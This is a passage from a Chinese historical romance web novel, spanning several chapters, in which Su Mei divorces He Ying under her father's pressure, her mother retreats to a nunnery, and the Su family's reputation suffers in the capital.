这样确实能保住贺家的名声,但对苏家的名声是毁灭性打击。 贺家众人脸色皆变了,贺老太太坐不住了,冷声说着:“看来苏家教女无方也是有根的,上梁不正下梁歪。七出之条,呵,苏家的女眷都不要出门行走了。” 有如此跋扈的爹,才能有如此不守妇德的女儿。 贺英对苏玫够好了,苏玫在贺家却嚣张至极,连公婆都不放在眼里。 结果苏家还要和离,甚至嚣张到让贺家以七出之条写休书,真是倒反天罡。 “贺家不想被和离连累名声,以七出之条休妻,是对贺家名声最没有妨碍的。”苏天佑说着,看向贺大老爷,“我今天既然来了,和离也好,休妻也罢,我的女儿是一定要离开贺家的。” 贺大老爷脸色越发难看,却也明白苏天佑的言下之意,可以趁机提条件。 但再怎么样的条件,哪有成为苏家女婿好。给的条件再好也是一时,苏家女婿的好处是永久的。 想到这里,贺大老爷稳稳心神,“年轻小夫妻哪有不拌嘴的,六郎也是,被家里人宠坏了,不知道心疼媳妇。” “亲家心疼女儿,就先把媳妇接过娘家小住一阵子。住上一年半载的,想回来了喊六郎去接,这样岂不是更好。” 拖一拖,大家都静一静,也许就不用离了。 当初明明就是苏玫倒贴着要嫁的,现在又闹着要和离,这也怪贺英,连自己的舔狗都哄不住。 苏天佑心知贺大老爷的算盘,但更知道此事拖不得,快刀斩不乱麻,一回斩不断,二回更斩不了。 便看着贺大老爷说着,“其实除了和离和休妻外,还有一种办法,更省事更直接,与苏家的名声也无碍。” “啊?” 贺大老爷有点没反应过来,贺老太太和贺大太太也很莫名。 解除夫妻关系,也就是和离,休妻两个办法,没听说过还有第三种。 苏天佑见贺家三人一脸惊讶的模样,心想着贺家还是有良知的,只是过份计较利益。 “有些暴发户嫌弃糟糠之妻上不得台面,偏偏对方又无过错。只得用一些见不得人的手段,让对方病逝。” 和离,休妻都是法律范围内的做法,超脱法律之外的手段,丧偶。 和离和休妻都伤自家名声,而丧偶只要丧的好,让人抓不住把柄,比和离和休妻都要好。 这种多半是针对女性,只要男方家的良心够坏,女方家败落,或者不闻不问,男方家杀人就没有任何顾忌。 贺大老爷终于反应过来,腾的一下站了起来,脸色一下子白了起来。 苏天佑见他懂了,索性把话说的更狠些,“这回谈是我来,若是谈不妥,下回我只得请我大侄子过来谈。” 贺大老爷脸色越发难看,苏天佑嘴里的大侄子只能是苏略。 要是苏天佑来谈,可能只是嘴上说说吓唬一下贺家人,想着快点离掉。而苏略来谈,真有可能让苏玫丧偶。 丈夫都死了,女人归宗理所当然,将来再嫁都不妨碍。 贺老太太和贺大太太也终于明白过来,贺老太太气的全身发抖,指着苏天佑说,“休妻,我贺家要休了苏家的毒妇。” 连杀夫这种话都能说出来,这种亲家绝对不能要。 苏天佑点点头,他无所谓贺家休妻还是和离。 这事从理法上说,确实是苏家任性过份,只要贺家肯定离婚,他都可以接受,并且给补偿。 “这是五千两的银票,权做补偿。”苏天佑把银票放在桌子上,随即起身,“既己说定,三天后我接女儿回家。” 话完,苏天佑离开。 与此同时,苏玫正在后院收拾整理。 苏玫的嫁妆是田产,地契一直是收好的,一个小匣子就装完了。 再就是跟着来的陪嫁,每个人都问过了,都愿意跟着苏玫回苏家。 贺家穷的要死,苏家的下人吃穿都跟贺家主人子都差不多,谁愿意留下来受穷呢。 “首饰和今年新做的衣服带走,其他的都不要了。”苏玫说着。 想到要离开贺家,整个人的精气神都上来了。虽然没能重来一回,但是纠正了错误,哪怕是不嫁人在苏家一辈子,也比在贺家强。 “姑娘,这些东西是您买的,要带走吗?”丫头问着。 贺家虽然准备了婚房,但好歹日用的东西,苏玫都看不上,自己又买了许多。 都是零零碎碎的小东西,很零碎加一起却很多。 “不要,都不要了。”苏玫说着,“免得出门时麻烦。” 不管和离还是休妻,女子离开夫家时,最容易起争执的就是钱财。 尤其是贺家穷了,贺老太太和贺大太太油锅里的银子都恨不得捞出来花,又知道她有钱,她走的时候,要是大箱小箱的往外抬,还不知道会闹出什么事来。 屋里这些也就几百两银子,索性全部不要了,轻装上阵。 正如她未来的人生,只有把过往的错误清理了,才能有更光明更美好的未来。 丫头们正收拾着,只见贺英挑帘子进来,与往日的意气风发不同,他垂着头,眼圈都是黑的,不知道熬了多久,整个人好像塌了一样。 “玫儿,我们确定要走到这一步吗?”贺英问着,言语间带着不可思议。 自从流产生后,苏玫对他的感觉就变了。 他想与苏玫缓合,也想与她好好过日子,虽然哄着苏玫,心里却总觉得,都成亲了,苏玫又能怎么样。 只要婚离不掉,苏玫就是觉得难受,也只能将就下去。再过一两年,两人有了孩子,苏玫守着孩子,慢慢的日子也就过下去了。 多少夫妻比他们还不如,还不是就这么过了一辈子。 因为离婚的代价太大,都付不起,尤其是对女人,不管是和离还是被休,后果会更严重。 结果苏天佑叫他过去,因为厌恶他,直接通知的口吻,和离或者休妻随他选。 今天苏天佑就来了贺家,与贺大老爷己经谈妥,或者说是直接威胁,不同意也得同意。 直到现在了,贺英都有种做梦的感觉,他确实没有喜欢过苏玫,但同样的,他也没想过会失去苏玫。 这让他乱成一团,昨天晚上熬了一晚上,今天又熬到了现在。听下人们说,苏玫屋里在收拾行李了,他匆匆跑了过来。 心里甚至还想着,苏玫是喜欢他的,只要他好好哄着她,苏玫就不会离开他。 “我父亲都找过你了,和离也好,休妻也行,你自己看着办。”苏玫说着,言语间带着轻快,甚至给贺英了一个笑脸。 “其实呢,你人不算坏,反而是我过份任性,不堪为贤妻。” 贺英就像是一堆水果里,虽然坏了一点点,却没有坏透的那种。 他没有纨绔子弟的恶习,好女色脾气却温和,更不会动手打人。 要是贺英娶个门户不如贺家的,女子敦厚老实,事事听他安排的,为他操持家务,生儿育女,也能过完一辈子。 “玫儿!”贺英打断苏玫。 苏玫轻快又高兴的神色让他越发难受,都要离婚了,不应该两个人都痛苦吗。 为什么苏玫会如此轻松,难道与他的婚姻就没有一丝可回忆之处吗。 “当初是你喜欢我,求着来嫁给我的。我若是娶了苏钰,不会现在的结果。”贺英忍不住说着。 苏玫愣了一下,随即笑出声来,“你想什么好事呢,还想着娶我大姐。你到现在还不明白吗,就是没有我,你跟我大姐的亲事也成不了。” 以前年龄小时不懂,大家都是苏家女儿,为什么差这么多,事实就是,就是差的很多。 苏钰没找贺英退婚,一半原因是当时贺家在守孝,不好在孝期退婚。 再就是苏钰当时可能没想过嫁人,有个未婚夫也算有个挡箭牌,有些懒得理会。 贺家要是真来求娶了,亲事分分钟就退了。 至于贺家的意见,不重要。 贺家敢有意见,苏略就敢让贺英暴毙。 再多的道理规矩约束,两家结亲最重要的就是门当户对,以及双方的良心。 当双方不能门户对时,势大的一方,不管男方还是女方,只要想,都有的是办法在婚姻中折腾。 就像现在,贺英娶了她,她不想过了,还不是一样要离。 “不,不会的……”贺英嘴上如此说,声音却是虚弱的。 因为是苏玫倒贴他,算计了他,他站在了道德的至高点上。 从来没有想过,他到底能不能娶到苏钰。 只想着,因为苏玫,他才没能娶到苏钰。 苏玫走到贺英面前,直视着他,“夫妻一场,我也希望你能好。打起精神来,好好过自己的日子。” “你聪明能干,又懂得顺势而为,还有大好前途在等着你。” “今生你我无缘,就此别过。” 第139章 第 139 章 三日后,苏天佑亲…… 三日后, 苏天佑亲自来接苏玫。 虽然极其不情愿,贺英依然红着眼送上一份和离书。按贺英的意思,那五千两银子也是要退给苏家的。 夫妻和离,哪有男方问女方拿钱的, 这钱拿了, 他以后还怎么见人。 而且他也有自己的小心思, 虽然和离了, 但只要没闹太僵。苏天佑有愧,至少将来不会难为他。 贺大老爷却不愿意, 夫妻都到和离的地步了,还有什么情可以讲。 两人还是夫妻的时候,贺英不愿意好好对苏玫。自诩风流,却连自己的舔狗都哄不住,现在和离了, 还讲什么情。 再者贺家实在没钱了,又失了苏家这个姻亲,几乎没有前途可言。不如多留点银子傍身, 至少眼下日子好过些。 “和离啊。”苏天佑接过和离书, 看一眼贺英, 并不意外。 贺英这个人向来小心思多,大概是想着不闹僵, 不得罪, 将来不被记仇。 如此也挺好。 除了贺家人和苏家人,官媒婆也到了,不管和离还是休妻,官媒婆都得在场,还得把当初的婚书找出来。 双方在和离书上签字之后, 家中长辈也得签字,最后官媒婆拿走当初的婚书和签完字的和离书。 要是普通人家,还得有长辈去衙门一趟讲清楚情况。以苏贺两家的名望,自然不需要。 贺英递来的和离书上,贺英和贺二老爷都是签了字的。 苏天佑先行签字,又递给苏玫。 苏玫拿起笔,没有任何犹豫,签下自己的名字。 官媒婆在旁亲眼见证,都有点不知道说什么。 官媒婆干了几十年,撮合的婚事记不清多少桩,和离或者休妻的,都是印象深刻。 实在是数量太少,多数都是男方宠妾灭妻,虐待发妻,女方再不离就没命了,才不得不得离。 像苏玫这样的,抢了姐姐的未婚夫后,闪婚闪离的属于首见。 “自此之后,男婚女嫁各不相干。”官媒婆说着场面话。 苏玫长舒口气,直至此时此刻,她的心是彻底放下了。对苏天佑说着,“父亲,我的东西全部整理好了,可以走了。” 苏天佑点头,对贺大老爷说着,“告辞。” 贺大老爷脸色难堪至极,也只能无奈的拱拱手。 苏玫没什么行李,六处田庄的地契被张婆子贴身收着,再就两个箱子放在丫头婆子坐的车上。 苏天佑难得的和苏玫共乘一辆车,事情办完,苏天佑也是长舒口气,看着苏玫也有些无奈,“为父能为你做的也就是这些,再惹出祸来,别来寻我。” 苏玫马上道:“父亲放心,从今以后,女儿定痛改前非,绝不会给家族蒙羞。” 苏天佑听得点点头,“此事我还没告诉老太爷和老太太,回去之后,你自己去说吧。还有你二伯和二伯娘那里,你也自己去说。” 三房的事情太多,他这个儿子实在没办法再给父母说,孙女也和离归宗了。 外头贺家都料理完了,家里人就让苏玫自己去说吧。 “是。”苏玫应着,看一眼苏天估,有些意外,又觉得理所当然。 女儿和离对家族来说是大事,按理说应该把家中长辈平辈请在一起,大家商量后再决定。 苏天佑是先把事情办完了,再让她去跟说,全然不顾礼法。 但苏天佑干事,本来就不太讲究这些,是他能干出来的。 坐车回到苏家,苏天佑径自去了书房。 苏玫让张婆子带着丫头婆子先回屋收拾,因为离的近她先去了苏越房里。 苏越伤了腿,正在床上歇着,看到苏玫过来,火急火撩的说着,“姐姐,你再去劝劝母亲。父亲并不是真要的和离,她何苦要出家。” 关氏和苏天佑现在就是各过各的,每人一处院子,离的远远的,无事不见面。 再不行就在这里弄个佛堂,想怎么理佛都可以。没必要非得在莲花庵出家。 一旦真出了家,后悔了想回头都没有余地。 “不用担心,我想过了,明天我就去莲花庵找圣和师太。只要师太不收,母亲就没办法出家。”苏玫说着。 思来想去,劝关氏太难,可以从圣和师太入手。只要没有庵堂收关氏,她就没办法出家了。 苏越怔了怔,跟着点点头,“还是姐姐有办法,只要庵堂不收,母亲也只能回家了。” 关氏虽然出身很好,与父母兄弟的关系都很好,要是被婆家欺负了,父母兄弟会给她出头。 但这个岁数了,莫名其妙的要出家,家里人肯定不会支持她。 就是想回娘家,父母也会把她劝回来。 “还有一件事,今天父亲带我去了贺家,我与贺英和离了。”苏玫说着,有些愧疚的看着苏越。 无故和离,肯定要影响家族的未婚男女。血缘越亲,受的影响越大。 苏越刚退了亲,亲姐姐又和离,将来说亲肯定会受影响。 “和离了?”苏越惊讶不己,随即道:“如此也好,贺英确实不是良配。只是此事,姐姐还是要先瞒着母亲。” 苏玫见苏越并无责怪之意,这才松了口气,“是任性太过,给家族蒙羞。” “姐姐别这么说,都是一家人,谁都有犯错的时候。”苏越说着。 看着关氏和苏天佑的婚姻,他也觉得,苏玫和贺英和离挺好。 要是实在过不下去了,千万别生孩子,早离早好。 姐弟俩说了一会话,苏玫就回了浮碧园。 虽然经常回来小住,但这回不同,张婆子带着丫头婆子把屋里屋外全部打扫一遍。 等苏玫回来,又带着一众人下人给苏玫磕头,欢迎主子正式归家。 苏玫心中万千感慨,看着自己的小院。 回想没嫁给贺英前,她从来不觉得父母多重要,父母给她的都是应该的。 直到这一通折腾下来,说是扒皮抽筋,脱胎换骨都不为过。 苏天佑对她说,以后再惹出麻烦,绝不会再帮她善后。 她相信苏天佑不是玩笑,但经历了这么一番后,她怎么可能会不懂事。 太过于一帆风顺的人生,没办法成长。而扒皮抽筋的成长,真的好痛。 “姑娘,洗把脸吧。”张婆子说着,“还得去拜见家中长辈。” 苏玫点点头,洗脸换了衣服,从苏震岳起,谷夫人,苏天华,叶氏,一个个拜见,说明情况。 本来苏玫还很点忐忑,和离不是小事,尤其她这样无故和离的,根本就是大逆不道任性妄为。 结果却出乎苏玫意料外,长辈们虽然意外,却都和离也挺好。 谷夫人安慰了她一通,连叶氏的态度都很温和,明明二房还有未婚子女,被无辜连累,将来议亲时亲家肯定不好说话。 苏玫的最后一站是听雨轩,苏钰己经收到消息,早早让绿川备好茶水。 “三姑奶奶竟然真的和离了?”绿川做梦一样说着,婆子传消息过来时,她甚至确认了好几遍。 苏钰有些意外,又不意外,苏天佑行事向来如此,“也挺好。” 一盏茶后,苏玫来了。 姐妹叙了一会话,苏钰看着她,全身上下带着肉眼可见的放松。 与苏天佑和解后,苏玫经常回苏家,虽然精神好了许多。却不像现在这样,是真的解脱,完全放松下来的状态。 “想过再嫁吗?”苏钰笑着问。 苏玫马上摇头,“不嫁了,还是在家里当姑娘好。” 至少现在没这个想法,至于将来父母老去,弟弟娶亲,弟媳掌家,那都是将来的事。 现在这样就很好。 苏钰听得笑了,以苏玫的年龄以及性格,对感情是有需求的,将来未必会不嫁。 只要对象挑的好,再嫁未必是坏事。 苏玫还想着明天去莲花庵看关氏,自己刚回来还有行李收拾,屋里的人手还得重新安排,便没久留,告辞走了。 苏钰送她到门口,都归宗了,以后想说话有的是时间。 苏钰吃了晚饭,绿川侍奉她入睡时,不禁说着,“你最近是怎么了,总是心不在焉的,要是身体不适,就去歇几天。” 绿川笑着道:“晚上睡觉没盖好被子,有些着凉,没什么大事,让姑娘担心了。” 丢的那些书信,苏钰还没有问起。但苏钰重视那些信件,早晚会问起。 她更不知道该怎么跟苏略汇报,只是想到苏略会对她失望,她就全身发冷。 苏钰看着绿川,总觉得她好像是恋爱了,但她一天十二时辰跟在自己身边,又想不出她会跟谁恋爱。 “不舒服就歇着,别累坏了你。”苏钰笑着说。 绿川点点头,“谢姑娘体恤。” 绿川侍奉着苏钰躺到床上,放下帐幔后,绿川吹了灯也跟着在旁边榻上躺下来。 夜深人静,临近午夜时分,一个身影出现在国公府房顶之上。 来人一身普通打扮,来夜行衣都没有穿,却形似鬼魅,在苏家各处房舍的屋顶上游走,好像在打量着什么。 如此半个时辰过去,来人在苏家最高处的屋顶上坐下来。 “南魏小主子大驾光临,有失远迎。”苏略的声音在屋顶上响起。 “我都来半个时辰了,才知道有客来访。”罗星坐在屋檐上,悠哉的晃着腿。 有几分兴致缺缺的看向苏略,“苏家也不怎么样啊。” 第140章 第 140 章 “苏家也不怎么样…… “苏家也不怎么样啊。”罗星说着, 目光看向苏略,“花了那么多心思,用尽各种手段,派人渗透到我身边, 让我对大周好奇, 对大周的京城好奇。” “现在我如你们所愿的来了, 说吧, 你和你的父亲到底想做什么?” 苏略微微笑着,走进罗星, “原来你知道。” 南魏国师的亲传弟子,一人之下,万人之上。罗星自身的实力不论,就是她身边的护卫,都是顶级高手。 在南魏拐走罗星不现实, 没人能做到。 那就换一种思路,让罗星自己离开南魏,自己跑来大周。 从好几年前起, 苏天翊就开始有目的性安插人, 都不是高手, 连武功都没有,更类似于民间艺人, 目的就是勾起罗星的好奇心。 南魏国师对罗星很好, 但她并不听话,“师慈徒孝”,鸡飞狗跳是日常。 再加上有心人的挑拨引逗,就是叛逆期的小孩,家长不让做什么, 她却偏要做。 “那么拙劣手段,小心老头子早晚弄死你们。”罗星嘲讽笑着,看着苏略,“不过无所谓,我早就想离开南魏,谢谢你们给我找了由头。” 叛逆总要有个由头才好,无缘无故没有因果,只会显得自己不占理,在老头子面前大声说话都没底气。 苏略对罗星的嘲讽并不在意,向前两步,离罗星更近些,笑着说,“你见过苏邑了,就没什么感觉吗?” “什么感觉?”罗星笑着,“一模一样的脸而己,我若想要,有一堆人陪我玩变脸游戏。” “你就没想过,南魏国师会收你为徒吗?”苏略说着,“明明你的长相与南魏人有明显的区别。” “这是要挑拨离间啊。”罗星笑着说,“没用的,我在南魏拥有一切,而你们,能给我什么,亲情吗?” “你在南魏的一切真的是你的吗,那是大国师给与你的,哪天他不给了,所有一切都是镜花水月。”苏略说着。 “他敢,反了他。”罗星说着,顿了一下,“老头子再不好,他养了我这些年。是真是假,我有眼晴会看。就算眼晴会骗人,感觉也不会。” 苏略见罗星态度坚决,并不意外,却是轻轻叹口气,“我只是希望你能仔细想一想,大周与南魏对峙多年,恩怨绵延几代人,国师为什么会收你为徒。” “南魏那么多古怪的术法,更有传闻说,南魏所有的国师都是一个人。术法延命,要付出什么样的祭品,你可有想过。” “这种话,真可谓是从小听到大。”罗星说着,甚至夸张的掏掏耳朵,“一个罗里吧嗦,好像我是傻子一样。要是没有其他话说,就不要浪费我的时间了。” 说着罗星站起身来,她拍拍手,在苏略面前一点点消失不见。 明明人己不在,声音却仿若在罗略耳边,“知道我为什么会来吗,因为就算是被骗了也无所谓。我想走,谁也留不住。” 苏略留在原地,静静听着,直至确定罗星的气息完全消失不见,他才轻轻叹口气。 这么多年了,找到了苏辰,却带不回她。 最大障碍,反而不是南魏,而是她本人。 *** “师太,为何不愿收下弟子?”关氏跪在佛像前,有些不解的看着圣和师太。 圣和师太神情自若,正敲着的木鱼停了下来,叹气说着,“夫人红尘事还未了。” 当人在凡尘俗世中过的太痛苦时,就寄托于虚无缥缈的神佛。 这样没什么不好,总要有个地方,安放无处可去的灵魂。 来莲花庵的女子许多,听说见过太多的悲苦,她看人从来没有出过错。 关氏现在出家,将来肯定会后悔。 “夫人若是有心,代发修行也是修行。”圣和师太说着,“若是一年后,夫人心意未改,再剃度也不迟。” “是。”关氏低头应着,“我愿代发修行。” 代发修行也是修行,与到庵堂小住的客人不同,修行是真的要修的。 当然关氏这种贵妇,就是代发修行,待遇也比普通尼姑好。 她原本住的三间厢房,改成了临时佛堂,日常用度也不用莲花庵出,关氏自己贴钱。 唯一需要处理的是,关氏身边侍侯的丫头婆子。都修行了,考虑到关氏的身份,怕她开始时不适应,留一个人侍侯就好,其他下人全部打发回府。 按关氏的意思,就留洪婆子一个,其他人就打发回府。 被打发回去的丫头婆子苦劝关氏,劝不动也只得回去,被留下来的洪婆子傻眼了。 她与关氏同岁,虽然是下人,这些年也是养尊处优的,关氏屋里的活计自有丫头们做,回到自己家,也有小丫头侍侯。 现在一应粗活杂活全堆在自己身上,洪婆子哪里吃的消。 只有两天就有些侍侯不了,白天晚上的劝关氏回府。 “你想回府就回吧。”关氏声音冷漠,心里却觉得寒心。 主仆一场这么多年,她自然是明白的,洪婆子是嫌侍侯她太累,想回府享福。 丈夫,儿女,甚至连打小侍侯自己的下人都不跟自己一条心。 到此时此刻,她突然有点明白那句话说的,人皆有私心,总是要为自己着想。 先满足了自己,才能去满足别人。哪怕是至亲之人,也先是自己再是别人。 洪婆子连忙解释着,“我不怕苦,只是看不得太太吃苦,您从小养尊处优,哪里受的了庵堂的清苦。” 关氏佛前跪着,却是摇摇头,“这些日子以来,反而是我人生中最简单的几天。” 什么都抛下了,只要诵经就可以。不再想父母,不再想丈夫,也不再想儿女。 缠绕了她十几年的烦恼,似乎一下子全部都没有,世界清静下来,她的心也慢慢静了下来。 不再后悔,不再纠结,能够平和的面对一切。 洪婆子越发的着急,刚想再说什么,关氏再次摇摇头,“你回去吧,庵里有许多小尼姑,有些杂事托她们做也是可以的。” 见关氏执意留下,洪婆子也想对关氏忠心,但她实在吃不了苦,咬牙说着,“太太稍侯,我回府一趟,过两日就回来。” 洪婆子回到国公府,得知苏玫己和离归宗,先是惊讶,随即到浮碧园本想劝苏玫。 不等她开口,苏玫就说,“妈妈侍侯母亲这么多年,劳苦功高,实属不易。这是你一家人的身契,另外还有五百两银子,五百亩地,你一并拿了去。” 洪婆子呆住了,不可思议看着苏玫,“姑娘,这是要赶我走?” 主人家给身契给银子,这是要打发她走。 苏玫没有否认,只是说着,“这些年来妈妈辛苦,母亲执意要留在莲花庵,庵堂清苦,妈妈年龄大了,也侍侯不了了。不如回家去,儿孙绕膝,安享天年。” 洪婆子是成亲了的,儿子早己成年,孙子都抱上了。主人放了身契,另外给银子和田产,这真是恩赐。 洪婆子脸色却是变了,她看着苏玫,脸上带着气愤,“姑娘,太太是您的亲生母亲,当初就是你骗她去的莲花庵。她都要出家了,你竟然置她于不顾。” 在她看来,不管苏天佑,还是苏玫,苏越都是白眼狼,对关氏没有丝毫顾念。 “事情己成定局,母亲不想面对,想在庵堂里清静未必是坏事。”苏玫说着。 现在的国公府,苏天佑真心想跟关氏和离,苏越的爵位没了,与关灵灵的婚事退了。而她也与贺英也和离了。 现在三房的任何一件事,都不是关氏能接受的,也不是她能改变的。 把关氏接回国公府,她就必须得面对这一切,与其让她痛苦面对,所有人都要跟着痛苦,不如暂留在莲花庵。 眼不见心不烦,直到关氏可以面对为止。 洪婆子气愤说着,“太太生你养你,你却从来不知道体恤太太。” 苏玫没作声,都没跟关氏说一声,她就跟贺英和离了,她确实没有体恤关氏。 但是人生是她自己的,她有机会跳出泥坑,有机会重新开始,她没办法因为孝道放弃。 就像苏越的婚事,他一点点都不喜欢关灵灵。因为孝道而成亲,下半辈子才是毁了。 想到此处,苏玫微微闭眼,心下却己有决断,看向洪婆子,语气不再客气。 “我念你是母亲的陪嫁,从来都是礼遇有佳。若是你再不分尊卑,我只能让人把你赶出去。” 放了身契的奴婢是自由身平民,拿着银子可以重新开始。 而赶出去的奴婢是弃奴,依然是奴籍,却没有主人。一旦被赶出府,下场凄惨。 洪婆子脸色发白,突然失声痛哭起来,拍着桌子声泪俱下的嚎啕大哭。 从小时候侍侯关氏开始说起,句句都在表功,明里暗里指责苏玫如此待她失了提统。 洪婆子如此一闹,屋里侍侯的下人们都有面面相觑,连张婆子都十分意外,担心苏玫处理不来,欲上前劝说洪婆子。 洪婆子侍侯关氏,都把关氏侍侯到庵堂了。 现在苏玫依然给了身契,另外给银子和土地,这是厚道的主子。 “我刚回府还有许多事情要妈妈操劳。”苏玫对张婆子说着,“这点小事,我还料理的来。” 张婆子见状,知道苏玫是想立威了,也不敢言语,退到一边。 苏玫端起茶碗默默喝茶,洪婆子见没人来劝,想找个台阶都没有。心里越发怨念,哭闹的声音更大。 一柱香之后,苏玫唤小丫头上茶。 小丫头不解,端茶上来,苏玫就对洪婆子说,“妈妈哭的辛苦,喝口茶继续。” 说着,对小丫头使个眼色。 小丫头把茶碗递给洪婆子,洪婆子接也不是,不接也不是,只是怔怔看着苏玫。 “喝了,接着哭。”苏玫说着,“那么喜欢哭闹,那就哭满一个时辰。” 140-150 第141章 第 141 章 洪婆子一家子走了…… 洪婆子一家子走了, 走的不太光彩,趁夜走的。 关氏的陪嫁,苏玫打发了,叶氏得知后也没过问。 苏玫又把关氏的贴身丫环送到莲花庵, 并承诺月银翻倍, 要是觉得活太重, 还可以轮班。 同时又叮嘱丫头们, 洪婆子被打发走的事,不要跟关氏提起。 关氏养尊处优了一辈子, 现在去了莲花庵,苏玫也是担心的很。 “姑娘,明天是二姑娘的接风宴,这几身衣服您看怎么样。”绿川打开衣柜挑着衣服,又询句苏钰的意见。 苏钰看了看, 觉得绿川挑的都不错,却不禁叹口气,“只怕要委屈二妹妹了。” 从一个月前, 叶氏就开始准备云棠的接风宴。 云棠以前的过往不堪, 叶氏生怕云棠被京城贵女们小瞧了, 十分重视这场宴会。 能发的请贴都发了,以苏家现在的权势, 叶氏本来还是很有信心的。 现在, 客人能来四分之一,就算不错了。 苏玫和贺英和离的消息,己经在京城传开了。 这么大的事,想瞒也瞒不住。 京城贵族圈里多少年没出过和离的夫妻,尤其苏玫和贺英当初成亲时就不太光彩, 一年不到就又和离。 这闪婚闪离的,闪瞎了京城众人的眼。 “我们家是没办法,就摊上这样的孽缘。”贺大太太对外哭诉着。 虽然不想得罪苏家,但和离这口锅实在太大。 贺家没有苏家的权势,名声若是再臭了,家中男男女女再无脸见人,京城都再无立足之地。 都不用别人来问,贺大太太就有意无意对外说着,是苏家以权势压人,不和离就丧偶,贺家是没办法,只得和离。 至于苏天佑给的五千两银子的补偿,只字不提。 苏家干的离谱事也不是一件,但苏玫无故和离,把苏家的恶名达到顶点。 一时间连叶峰的行情都不好了,哪怕是纯粹为了利益卖女儿的,人家都会想,嫁出去出女儿能无故和离,娶进门的媳妇更可以。 和离断亲,利益就拿不到了。 更有心疼女儿的人家更不必说,贺英是男子,被和离依然免不了指指点点。要是女子被和离,不是上吊就是出家当尼姑。 随后关氏在莲花庵代发修行,一年后就正式剃度出家的消息,也紧跟着传出来。 是关家特意散布的消息,关灵灵被退亲,关氏要出家,关家女儿何时受过这样的气。 关家与苏家关系本来就微妙,这个时候怎么可能会放过苏家。 苏家顿时被推到风口浪尖上,关氏与苏天佑十几年夫妻,孩子都生两个了,结果现在竟然被逼至出家。 以前只知道苏家人发癫,但以前的癫只是自己发疯。不管是苏震岳休妻,还是苏天翊和离,他们都为自己的错付了出代价。 现在发癫是直接迫害身边的人,贺英多无辜,被和离后,苏玫就这么归宗了,半点代价不用付。 关氏就更可怜了,当家主母被逼到出家。这要不是娘家背景够强,苏天佑弄不好就直接丧偶了。 如此风评之下,连叶氏都不想出门了。 现在要给云棠这个身世不堪的女儿办的宴会,会来多少人,只有天知道。 果然,到了次日,苏家张灯结彩,到了迎客的时间,稀稀拉拉的宾客,都是苏家或叶家的近亲。 稍微有点门第的,都没来。约定好的一样,全都打发了婆子,寻了各种样的理由,礼送的厚,不见人来。 叶氏倒是想的开,宴席早就准备好,先招呼宾客。等散了席,就把剩下的席面,全部赏给了家里下人。 没人来就自家人吃吃喝喝,主子吃不完就下人吃,主打一个不浪费。 “都是我的错,让苏家蒙羞。”苏玫跪在叶氏面前,低头认错。 她知道和离之事肯定对苏家的名声有影响,执拗任性,结果就是连累家里所有人。 叶氏笑着把苏玫扶起来,“都是一家人,贺英不是良配,和离也挺好。至于外头那些闲话,不必放在心上。” 云棠也上前安慰苏玫,她本就不是苏家的亲生女儿,能被如此对待己经是上天怜惜,这点委屈实在不算什么。 苏玫却是心中难安,不停的道歉。 叶氏笑着说,“你要是真觉得抱歉,就好好过日子。你既然叫我一声伯娘,我就是你的长辈,只希望你能过的好。” “人不能为了外头的脸面活,自己过的舒心才要紧。那些不愿意与我们来往的,我也懒得理会,清清静静的才好。” 如此安抚一通,苏玫觉得越发愧疚。她能感觉到,叶氏说的不是客套话,是心里真的不介意。 二房只有苏邑定好了亲事,叶峰和云棠全没着落,现在被她连累,叶氏还能不介意,苏玫是真感动了。 从二房出来,苏玫又去了听雨轩。 苏钰正在练字,看到苏玫过来,并不意外,却是朝苏玫招招手,“看看我这几个字写的如何。” 好久不练字,手都生了。 她也该好好定定心神,练字,写诗,修身养性一段时间。 苏玫走过去,只见宣纸上龙飞凤舞写着,“清光比故人,豁达展心晤”几个大字。 “姐姐的字是越发精进了。”苏玫说着。 这倒不是恭维苏钰,她虽然才艺一般,但高门千金的基本才艺还是有的。 以前苏钰的字也很好,潇洒飘逸,现在的字更好,潇洒之余添了几分沉稳。 苏钰放下笔,笑着说,“这夸奖我收下了。” “我今日前来……” 苏玫刚要开口,苏钰笑着打断她,“什么都别说,也不用说。” 她与薛迟现在的局面,要是因为名声不好,晋阳长公主府不愿意娶了,她反而会松口气。 她并不排斥和薛迟结婚,但现在就跟薛迟成亲,她又觉得太早了。 苏玫只得把话咽了回去,刚要说点别的,苏钰就道:“三叔同意你和离,我也觉得是好事,好好过日子吧。” 这是她的真心话,结婚结不好,不如不结。能早点从火坑里跳出来,未必是坏事。 苏玫听得点点头,“我会的。” 任性的代价太惨烈,她这辈子都会记住这个教训。 姐妹俩说了一会话,苏玫离开。 苏钰继续练字,直到晚上快掌灯时分,有楚王府的婆子过来传话。 慕容宁收到传信,慕容弦明天进京城,她因为被禁足楚王府,不能过去迎接,希望苏钰能代她去迎接慕容弦。 “这么快?”苏钰有些意外,本以为还要几天。 婆子笑着道:“说是日夜兼程,再加上天气好,比预期早。” “我都不记得舅舅长什么样子了。”苏钰笑着说,“我明天准时到。” 她不记得也不要紧,慕容宁肯定会指派人过去,而且西北王进京,肯定是有排场的,到时候想不认识也难。 婆子打开了一直拿着的包袱,里头是一身全新的西北女装,“王妃说,明天见舅老爷,穿这一身他会欢喜些。” 苏钰本来就有类似服饰,没想到慕容宁竟然特意送了一身,笑着说,“一定。” 婆子把包袱交给绿川,这才转身退下。 及至次日,苏钰起了大早,绿川侍侯着早早装扮好就去了城门处。 通信不发达,接人就是要早去等着。不然慕容弦都到驿站了,她还在国公府,这就离谱了。 带上绿川,坐车到东城门。 楚王府的人来的更早,领头竟然是冯决。 苏钰有些意外,慕容宁监察寮正使的职务都被贬了,没想到冯决竟然还跟随在侧。 “承蒙王妃抬爱,我现在是楚王府的护院。”冯决说着。 苏钰想想也觉得正常,当时监察寮杀了那么多官员,慕容宁背了最大的锅,监察寮的其他人也是从犯。 显庆皇帝从轻发落,对其他人虽未处罚,但死了那么多官员,总有亲友想要报复。 像冯决这样的,本就是慕容宁的心腹。 与其在监察寮里耗着,随时被仇家报复,来王府当护院,倒是个不错的出路,至少安全。 两人正说着,就见一队人马迎面而来。早上人多,马行的不快,人潮之中,队伍却十分整齐。 苏钰不经意间抬眸看去,微微愣了一下,为首之人一身玄衣,腰配长剑,面如冠玉,艳似桃花。 正是谢无衣。 谢无衣自然看到苏钰,四目相接间的瞬间,谢无衣面露喜色,下意识勒住缰绳。 “你来为我送行吗?”谢无衣下意识想问。 突然看到冯决,以及楚王府的马车。 他顿时明白了,苏钰不是在等他,而是来接慕容弦。 苏钰应该都不知道他今天离京。 嘴边的话咽了下来,原本欲下马的动作,不自觉得顿住了。 